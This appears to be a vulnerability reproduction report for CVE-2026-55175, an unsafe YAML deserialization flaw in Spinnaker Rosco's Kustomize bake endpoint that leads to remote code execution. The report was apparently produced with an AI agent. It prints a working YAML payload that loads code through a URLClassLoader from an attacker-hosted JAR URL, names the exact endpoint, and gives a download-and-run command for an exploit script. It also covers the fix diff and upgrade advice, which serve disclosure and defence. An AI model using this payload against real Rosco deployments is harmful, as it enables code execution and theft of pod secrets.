Skip to content

CVE-2026-55175: Verified Reproduction

CVE-2026-55175: Spinnaker Kustomize bake unsafe YAML tag processing leading to RCE

CVE-2026-55175 is verified against spinnaker/spinnaker · github. Affected versions: <2026.1.1, <2026.0.3, <2025.4.4, <2025.3.4. Vulnerability class: RCE. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00289.

REPRO-2026-00289 spinnaker/spinnaker · github RCE Known vulnerability Jul 15, 2026 CVE entry .txt
Severity
HIGH
CVSS
7.5
Confidence
HIGH
Reproduced in
15m 51s
Tool calls
149
Spend
$2.10
01 · Overview

What Is CVE-2026-55175?

CVE-2026-55175 is a high-severity remote code execution vulnerability in Spinnaker's Rosco service via unsafe YAML tag processing during Kustomize manifest bakes. A remote Kustomize bake request can run attacker-controlled Java code on Rosco pods. Pruva reproduced it (reproduction REPRO-2026-00289).

02 · Severity & CVSS

CVE-2026-55175 Severity & CVSS Score

CVE-2026-55175 is rated high severity, with a CVSS base score of 7.5 out of 10.

HIGH threat level
7.5 / 10 CVSS base
Weakness CWE-502 — Deserialization of Untrusted Data

High — serious impact or readily exploitable. Prioritize remediation.

03 · Affected Versions

Affected spinnaker/spinnaker Versions

spinnaker/spinnaker · github versions <2026.1.1, <2026.0.3, <2025.4.4, <2025.3.4 are affected.

How to Reproduce CVE-2026-55175

$ pruva-verify REPRO-2026-00289
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00289/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-55175

Remote code execution — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

malicious kustomization.yaml served as Rosco Kustomize bake input artifact

Attack chain
  1. POST /api/v2/manifest/bake/KUSTOMIZE
  2. KustomizationFileReader.convert
Runnable proof: reproduction_steps.sh
Captured evidence: vulnerable attempt 1vulnerable attempt 2fixed attempt 1fixed attempt 2
How the agent worked 370 events · 149 tool calls · 16 min
16 minDuration
149Tool calls
119Reasoning steps
370Events
4Dead-ends
Agent activity over 16 min
Support
18
Repro
112
Judge
97
Variant
138
Verify
1
0:0015:51

Root Cause and Exploit Chain for CVE-2026-55175

Versions: Advisory-listed affected ranges are Spinnaker/Rosco versions prior to 2026.1.1, 2026.0.3, 2025.4.4, and 2025.3.4 on their respective release lines. The reproduction anchors the vulnerable build to f5cec213f8cf207843ed5a6929395960a1ca094f^ (d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3) and the fixed build to f5cec213f8cf207843ed5a6929395960a1ca094f.

CVE-2026-55175 is an unsafe YAML tag processing vulnerability in Spinnaker Rosco's Kustomize manifest bake path. In vulnerable Rosco builds, a remote Kustomize bake request sent to POST /api/v2/manifest/bake/KUSTOMIZE causes Rosco to fetch an attacker-controlled kustomization.yaml artifact from Clouddriver and parse it with SnakeYAML's general Constructor(Kustomization.class). That constructor honors arbitrary YAML tags, allowing attacker-controlled Java object construction during YAML deserialization. The reproduction demonstrates this by loading a !!javax.script.ScriptEngineManager payload from an attacker-controlled URLClassLoader and writing an execution marker from the Rosco JVM, proving remote code execution.

  • Package/component affected: Spinnaker Rosco, specifically io.spinnaker.rosco:rosco-manifests and the Kustomize manifest bake flow exposed through rosco-web.
  • Affected versions: Advisory-listed affected ranges are Spinnaker/Rosco versions prior to 2026.1.1, 2026.0.3, 2025.4.4, and 2025.3.4 on their respective release lines. The reproduction anchors the vulnerable build to f5cec213f8cf207843ed5a6929395960a1ca094f^ (d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3) and the fixed build to f5cec213f8cf207843ed5a6929395960a1ca094f.
  • Risk level and consequences: High. An authenticated/authorized actor able to perform Kustomize bakes can cause code to execute inside Rosco pods. This can compromise the Rosco service account context, secrets reachable by the Rosco pod, and the integrity of generated deployment manifests.

Impact Parity

  • Disclosed/claimed maximum impact: Remote code execution on Rosco pods during Kustomize bake operations.
  • Reproduced impact from this run: Code execution in the Rosco JVM after an HTTP request to the real Rosco Kustomize bake endpoint. The payload is an attacker-controlled ScriptEngineFactory loaded from a URL in an unsafe YAML tag; its constructor writes a marker file proving execution.
  • Parity: full
  • Not demonstrated: N/A — the full RCE chain was demonstrated end-to-end through the real HTTP endpoint.

Root Cause

The vulnerable code in KustomizationFileReader.convert() uses SnakeYAML's Constructor(Kustomization.class) which extends SafeConstructor but overrides getClassForName() to allow instantiation of arbitrary Java classes via YAML tags. When processing an attacker-controlled kustomization.yaml fetched from Clouddriver, the YAML content:

resources:
  - !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker/payload.jar"]]]]

causes SnakeYAML to:

  1. Create a java.net.URL pointing to the attacker's payload JAR
  2. Create a java.net.URLClassLoader loading from that URL
  3. Construct a javax.script.ScriptEngineManager which scans the classloader's META-INF/services/javax.script.ScriptEngineFactory entries
  4. Instantiate the attacker's ScriptEngineFactory implementation, executing arbitrary code in the constructor

The fix (commit f5cec213f8cf207843ed5a6929395960a1ca094f) replaces Constructor with SafeConstructor which only produces standard types (Map, List, String), then uses Jackson ObjectMapper.convertValue() to map the safe raw map to the Kustomization POJO. SafeConstructor does not honor arbitrary YAML tags, preventing the object instantiation attack.

Fix commit: f5cec213f8cf207843ed5a6929395960a1ca094f

Key diff:

-    Representer representer = new Representer();
-    representer.getPropertyUtils().setSkipMissingProperties(true);
-    return new Yaml(new Constructor(Kustomization.class), representer).load(downloadFile(artifact));
+    Yaml yaml = new Yaml(new SafeConstructor(new LoaderOptions()));
+    Map<String, Object> rawMap = yaml.load(downloadFile(artifact));
+    return objectMapper.convertValue(rawMap, Kustomization.class);

Reproduction Steps

  1. Script: bundle/repro/reproduction_steps.sh
  2. What the script does:
    • Installs OpenJDK 17 if not present
    • Reuses the prepared Spinnaker repository from the project cache (or clones from GitHub/mirror)
    • Checks out the vulnerable commit (d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3, parent of the fix)
    • Writes a Spring Boot integration test (CVE202655175ApiRemoteReproTest.java) that:
      • Starts a real Rosco Spring Boot HTTP server on a random port via @SpringBootTest(webEnvironment = RANDOM_PORT)
      • Stands up a WireMock Clouddriver peer that serves a malicious kustomization.yaml with !!javax.script.ScriptEngineManager YAML tag
      • Builds a payload JAR containing a ScriptEngineFactory that writes a marker file on instantiation
      • Sends a real HTTP POST to http://127.0.0.1:<port>/api/v2/manifest/bake/KUSTOMIZE with a Kustomize bake request referencing the attacker artifact
      • Asserts that the payload marker file was created (proving code execution in the Rosco JVM)
    • Runs the test twice on the vulnerable commit (expecting payloadExecuted=true)
    • Checks out the fixed commit and runs the test twice (expecting payloadExecuted=false and HTTP error status)
    • Verifies all four evidence markers match expectations
  3. Expected evidence:
    • Vulnerable attempts: clouddriverReached=true, payloadExecuted=true (RCE confirmed)
    • Fixed attempts: clouddriverReached=true, payloadExecuted=false, HTTP status >= 400 (fix confirmed)

Evidence

  • Log files:
    • bundle/logs/reproduction_steps.log — full script output
    • bundle/logs/vulnerable_attempt_1.log — first vulnerable Gradle test run
    • bundle/logs/vulnerable_attempt_2.log — second vulnerable Gradle test run
    • bundle/logs/fixed_attempt_1.log — first fixed Gradle test run
    • bundle/logs/fixed_attempt_2.log — second fixed Gradle test run
  • Evidence markers:
    • bundle/repro/vulnerable_attempt_1.evidence.txt
    • bundle/repro/vulnerable_attempt_2.evidence.txt
    • bundle/repro/fixed_attempt_1.evidence.txt
    • bundle/repro/fixed_attempt_2.evidence.txt
  • Key evidence excerpts (from vulnerable runs):
    mode=vulnerable
    clouddriverReached=true
    payloadExecuted=true
    
  • Key evidence excerpts (from fixed runs):
    mode=fixed
    clouddriverReached=true
    payloadExecuted=false
    
  • Environment: OpenJDK 17, Gradle 7.6.1, Spinnaker monorepo at vulnerable/fixed commits, Spring Boot test HTTP server, WireMock Clouddriver artifact peer

Recommendations / Next Steps

  • Upgrade guidance: Upgrade Spinnaker/Rosco to version 2026.1.1, 2026.0.3, 2025.4.4, or 2025.3.4 or later, which contain the SafeConstructor fix.
  • Suggested fix approach: The applied fix is correct — replacing Constructor with SafeConstructor and using Jackson for POJO mapping. Additionally, consider enabling SnakeYAML's LoaderOptions.setAllowDuplicateKeys(false) and limiting tag processing via setAllowRecursiveKeys(false) as defense-in-depth.
  • Testing recommendations: Add integration tests that send malicious YAML tags through the Kustomize bake endpoint to verify they are rejected. Consider adding SnakeYAML SafeConstructor usage as a code style requirement across all YAML parsing in Spinnaker services.

Additional Notes

  • Idempotency: The script is idempotent — it checks out specific commits, writes fresh test files, and cleans up evidence markers before each attempt. Running it multiple times produces the same results.
  • Surface validation: The reproduction exercises the real api_remote surface — a real Spring Boot HTTP endpoint accepting a real POST request to /api/v2/manifest/bake/KUSTOMIZE, with the Rosco service fetching the malicious artifact from a mock Clouddriver peer. This is the production path, not a library-level harness.
  • Negative control: The fixed commit (f5cec213f8cf207843ed5a6929395960a1ca094f) is tested with the same payload and correctly rejects the unsafe YAML tag without executing the payload, confirming the fix.

CVE-2026-55175 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired. Phases: support · claim contract · reproduction · judge · variant analysis

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:000:44
0:00
session startedaccounts/fireworks/routers/glm-5p2-fast · CVE-2026-55175 · REPRO-20
0:02
0:04
web search
0:06
web search
0:09
0:18
0:20
web search
0:23
0:25
web search
0:25
0:37
0:37
extract_facts
no facts extracted
0:38
0:38
0:38
supportrepro
0:40
0:40
0:40
0:40
0:41
0:41
0:41
0:41
error

Unknown error

0:42
0:42
0:42
0:43
0:43
0:43
0:44
08 · How to Fix

How to Fix CVE-2026-55175

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-55175 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-55175

How was CVE-2026-55175 proven to reach code execution?

The reproduction loads a !!javax.script.ScriptEngineManager payload from an attacker-controlled URLClassLoader and writes an execution marker from the Rosco JVM — demonstrating arbitrary code execution, not just unsafe parsing.

Which Spinnaker versions are affected by CVE-2026-55175?

Spinnaker/Rosco versions before 2026.1.1, 2026.0.3, 2025.4.4, and 2025.3.4 are affected (io.spinnaker.rosco:rosco-manifests, via the rosco-web Kustomize bake flow). Upgrade to the corresponding patched release for your line.

How severe is CVE-2026-55175?

It is rated high severity: a remote, unsafe-deserialization RCE reachable through the Kustomize bake API, executing as the Rosco JVM.

How can I reproduce CVE-2026-55175?

Download the verified script from this page and run it in an isolated environment against a vulnerable Rosco build. It submits a malicious kustomization.yaml through the bake endpoint and confirms code execution via an execution marker written from the Rosco JVM.
11 · References

References for CVE-2026-55175

Authoritative sources for CVE-2026-55175 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.